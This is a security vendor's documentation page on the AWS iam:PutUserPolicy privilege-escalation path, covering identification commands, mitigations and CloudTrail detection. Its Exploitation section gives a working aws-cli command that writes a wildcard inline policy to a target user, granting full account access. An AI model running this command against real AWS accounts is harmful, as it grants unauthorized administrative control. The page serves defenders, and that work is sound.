> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_put_user_policy.md).

# AWS\_PUT\_USER\_POLICY

## Summary

|                            |                                        |
| -------------------------- | -------------------------------------- |
| **Forestall ACL Alias**    | AWS\_PUT\_USER\_POLICY                 |
| **Edge Type**              | Attack Path                            |
| **Affected Object Types**  | IAM Users, IAM Roles, IAM Groups       |
| **Exploitation Certainty** | High                                   |
| **AWS IAM Action**         | `iam:PutUserPolicy` on the target user |

## Description

A principal with `iam:PutUserPolicy` can create or replace an inline policy on a target IAM user. Inline policies live inside the user object and take effect right away. There is no separate attach step like there is with managed policies.

Write an inline policy granting `*` on `*` and the target user has unrestricted AWS access.

The edge is `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_PUT_USER_POLICY]-> (TargetUser:AWSUser)`.

Note: `CollectUserTargetEdges` skips self-referential edges, so user self-escalation via `AWS_PUT_USER_POLICY` isn't drawn as a graph edge. The operational risk still exists.

## Identification

```bash
# List principals with iam:PutUserPolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'PutUserPolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:PutUserPolicy \
  --resource-arns "arn:aws:iam::*:user/*"

# List existing inline policies on a user
aws iam list-user-policies --user-name <target-user>
aws iam get-user-policy --user-name <target-user> --policy-name <policy-name>
```

PowerShell (AWS Tools):

```powershell
Get-IAMUserPolicyList -UserName <target-user> | ForEach-Object {
    Get-IAMUserPolicy -UserName <target-user> -PolicyName $_
}
```

## Exploitation

```bash
aws iam put-user-policy \
  --user-name <target-user> \
  --policy-name Escalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }'
```

## Mitigation

* Restrict `iam:PutUserPolicy` to dedicated IAM administrators. Deny it for service identities.
* Use permission boundaries so even a wildcard inline policy can't exceed the boundary.
* Apply SCPs to block unrestricted inline policies outside approved pipelines.
* Prefer managed policies over inline ones. Managed policies show up in central policy tools; inline ones don't.

## Detection

| CloudTrail Event | Description                                        | Key Fields                                                                                                           |
| ---------------- | -------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `PutUserPolicy`  | An inline policy was created or replaced on a user | `requestParameters.userName`, `requestParameters.policyName`, `requestParameters.policyDocument`, `userIdentity.arn` |

Alert when `policyDocument` contains `"Action": "*"` or `"Resource": "*"`, or when the caller is outside an approved IAM-admin role.

## References

* [AWS IAM: PutUserPolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutUserPolicy.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS Security Best Practices: Inline vs Managed Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#use-managed-policies)
